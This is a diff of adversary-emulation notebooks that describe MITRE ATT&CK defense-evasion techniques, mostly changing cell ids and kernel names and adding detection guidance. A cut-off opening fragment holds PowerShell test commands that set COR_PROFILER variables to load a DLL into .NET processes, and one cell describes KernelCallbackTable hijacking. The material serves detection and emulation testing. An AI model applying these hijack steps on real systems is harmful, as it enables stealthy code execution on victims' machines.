'{09108e71-974c-4010-89cb-acf471ae9e2c}'\n$env:COR_PROFILER_PATH = '\"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"'\nPOWERSHELL -c 'Start-Sleep 1'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3f1ca5b4", + "id": "f949af2e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "a26d0b66", + "id": "257ca26f", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bcab8606", + "id": "76ae51be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "126c380f", + "id": "3bb80d8d", "metadata": {}, "source": "## Detection\nFor detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables." } @@ -157,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.013.ipynb b/playbook/tactics/defense-evasion/T1574.013.ipynb index b0aee4e2..d0ff310c 100644 --- a/playbook/tactics/defense-evasion/T1574.013.ipynb +++ b/playbook/tactics/defense-evasion/T1574.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ea09e5b3", + "id": "469ad05e", "metadata": {}, "source": "# T1574.013 - KernelCallbackTable\nAdversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process." }, { "cell_type": "markdown", - "id": "a8372808", + "id": "92bc98b1", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c1d0d1d6", + "id": "55f8ca0b", "metadata": {}, "source": "## Detection\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1574.ipynb b/playbook/tactics/defense-evasion/T1574.ipynb index 3050fa0b..55be65b7 100644 --- a/playbook/tactics/defense-evasion/T1574.ipynb +++ b/playbook/tactics/defense-evasion/T1574.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "b1d9af6f", + "id": "c3cc946a", "metadata": {}, "source": "# T1574 - Hijack Execution Flow\nAdversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads." }, { "cell_type": "markdown", - "id": "5803bca6", + "id": "5fcf392d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9fc19ae8", + "id": "11809bb7", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data." }, { "cell_type": "markdown", - "id": "2d38f4f3", + "id": "4e368ad5", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nA defender can block execution of untrusted software.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1578.001.ipynb b/playbook/tactics/defense-evasion/T1578.001.ipynb index 18d1cceb..4383d5ca 100644 --- a/playbook/tactics/defense-evasion/T1578.001.ipynb +++ b/playbook/tactics/defense-evasion/T1578.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "acf923bb", + "id": "82536209", "metadata": {}, "source": "# T1578.001 - Create Snapshot\nAn adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)" }, { "cell_type": "markdown", - "id": "fd799805", + "id": "68ad67cc", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d4b9743c", + "id": "ec93aeb4", "metadata": {}, "source": "## Detection\nThe creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\": parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1578.002.ipynb b/playbook/tactics/defense-evasion/T1578.002.ipynb index a768890c..196e7867 100644 --- a/playbook/tactics/defense-evasion/T1578.002.ipynb +++ b/playbook/tactics/defense-evasion/T1578.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "fa36ea23", + "id": "95852f46", "metadata": {}, "source": "# T1578.002 - Create Cloud Instance\nAn adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances." }, { "cell_type": "markdown", - "id": "b0f6bab7", + "id": "a606f214", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d5978d2e", + "id": "fb392888", "metadata": {}, "source": "## Detection\nThe creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1578.003.ipynb b/playbook/tactics/defense-evasion/T1578.003.ipynb index a3f2b681..4cde36b3 100644 --- a/playbook/tactics/defense-evasion/T1578.003.ipynb +++ b/playbook/tactics/defense-evasion/T1578.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6682d5a0", + "id": "04f86930", "metadata": {}, "source": "# T1578.003 - Delete Cloud Instance\nAn adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)" }, { "cell_type": "markdown", - "id": "eb6a7b92", + "id": "84c0ebee", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2490ba7b", + "id": "ffb5128a", "metadata": {}, "source": "## Detection\nThe deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1578.004.ipynb b/playbook/tactics/defense-evasion/T1578.004.ipynb index 90a6376b..6975e750 100644 --- a/playbook/tactics/defense-evasion/T1578.004.ipynb +++ b/playbook/tactics/defense-evasion/T1578.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "04d1fba2", + "id": "9383e81a", "metadata": {}, "source": "# T1578.004 - Revert Cloud Instance\nAn adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)" }, { "cell_type": "markdown", - "id": "169c3a9a", + "id": "35e0496c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4ce2c531", + "id": "423ef51c", "metadata": {}, "source": "## Detection\nEstablish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1578.005.ipynb b/playbook/tactics/defense-evasion/T1578.005.ipynb new file mode 100644 index 00000000..374f024f --- /dev/null +++ b/playbook/tactics/defense-evasion/T1578.005.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "9c251633", + "metadata": {}, + "source": "# T1578.005 - Modify Cloud Compute Configurations\nAdversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)" + }, + { + "cell_type": "markdown", + "id": "052e53a8", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1578.ipynb b/playbook/tactics/defense-evasion/T1578.ipynb index 50ad4e5e..3947e2c5 100644 --- a/playbook/tactics/defense-evasion/T1578.ipynb +++ b/playbook/tactics/defense-evasion/T1578.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "37ad64cb", + "id": "a1e462d3", "metadata": {}, "source": "# T1578 - Modify Cloud Compute Infrastructure\nAn adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)" }, { "cell_type": "markdown", - "id": "f8e0eccf", + "id": "a351cb4d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2fb5d7a9", + "id": "f91f27ec", "metadata": {}, "source": "## Detection\nEstablish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1599.001.ipynb b/playbook/tactics/defense-evasion/T1599.001.ipynb index a186ce7f..035608cb 100644 --- a/playbook/tactics/defense-evasion/T1599.001.ipynb +++ b/playbook/tactics/defense-evasion/T1599.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c5aac4d0", + "id": "514f5299", "metadata": {}, "source": "# T1599.001 - Network Address Translation Traversal\nAdversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities" }, { "cell_type": "markdown", - "id": "a6ef4422", + "id": "e51e8b7c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "afb040b0", + "id": "d3fd198f", "metadata": {}, "source": "## Detection\nConsider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1599.ipynb b/playbook/tactics/defense-evasion/T1599.ipynb index bac09749..e4e955cc 100644 --- a/playbook/tactics/defense-evasion/T1599.ipynb +++ b/playbook/tactics/defense-evasion/T1599.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "4f9ee5bf", + "id": "f90848a5", "metadata": {}, "source": "# T1599 - Network Boundary Bridging\nAdversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments." }, { "cell_type": "markdown", - "id": "4a2778d0", + "id": "de645b78", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e579cde8", + "id": "d60e97f7", "metadata": {}, "source": "## Detection\nConsider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized." }, { "cell_type": "markdown", - "id": "84681912", + "id": "d3fb19ee", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nIn an adversary engagement scenario, a defender can implement weak security controls that an adversary could subvert in order to further their attack.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1600.001.ipynb b/playbook/tactics/defense-evasion/T1600.001.ipynb index af76ae05..58ed7f6d 100644 --- a/playbook/tactics/defense-evasion/T1600.001.ipynb +++ b/playbook/tactics/defense-evasion/T1600.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d9ec7258", + "id": "fc800584", "metadata": {}, "source": "# T1600.001 - Reduce Key Space\nAdversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)" }, { "cell_type": "markdown", - "id": "de76bcac", + "id": "522e688b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c9a154bc", + "id": "4f9c3613", "metadata": {}, "source": "## Detection\nThere is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1600.002.ipynb b/playbook/tactics/defense-evasion/T1600.002.ipynb index 89f4b1f2..546bc333 100644 --- a/playbook/tactics/defense-evasion/T1600.002.ipynb +++ b/playbook/tactics/defense-evasion/T1600.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b93eac63", + "id": "c2892e0a", "metadata": {}, "source": "# T1600.002 - Disable Crypto Hardware\nAdversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)" }, { "cell_type": "markdown", - "id": "f4d541bc", + "id": "6e36b03f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2d9be3dc", + "id": "5b53dbae", "metadata": {}, "source": "## Detection\nThere is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1600.ipynb 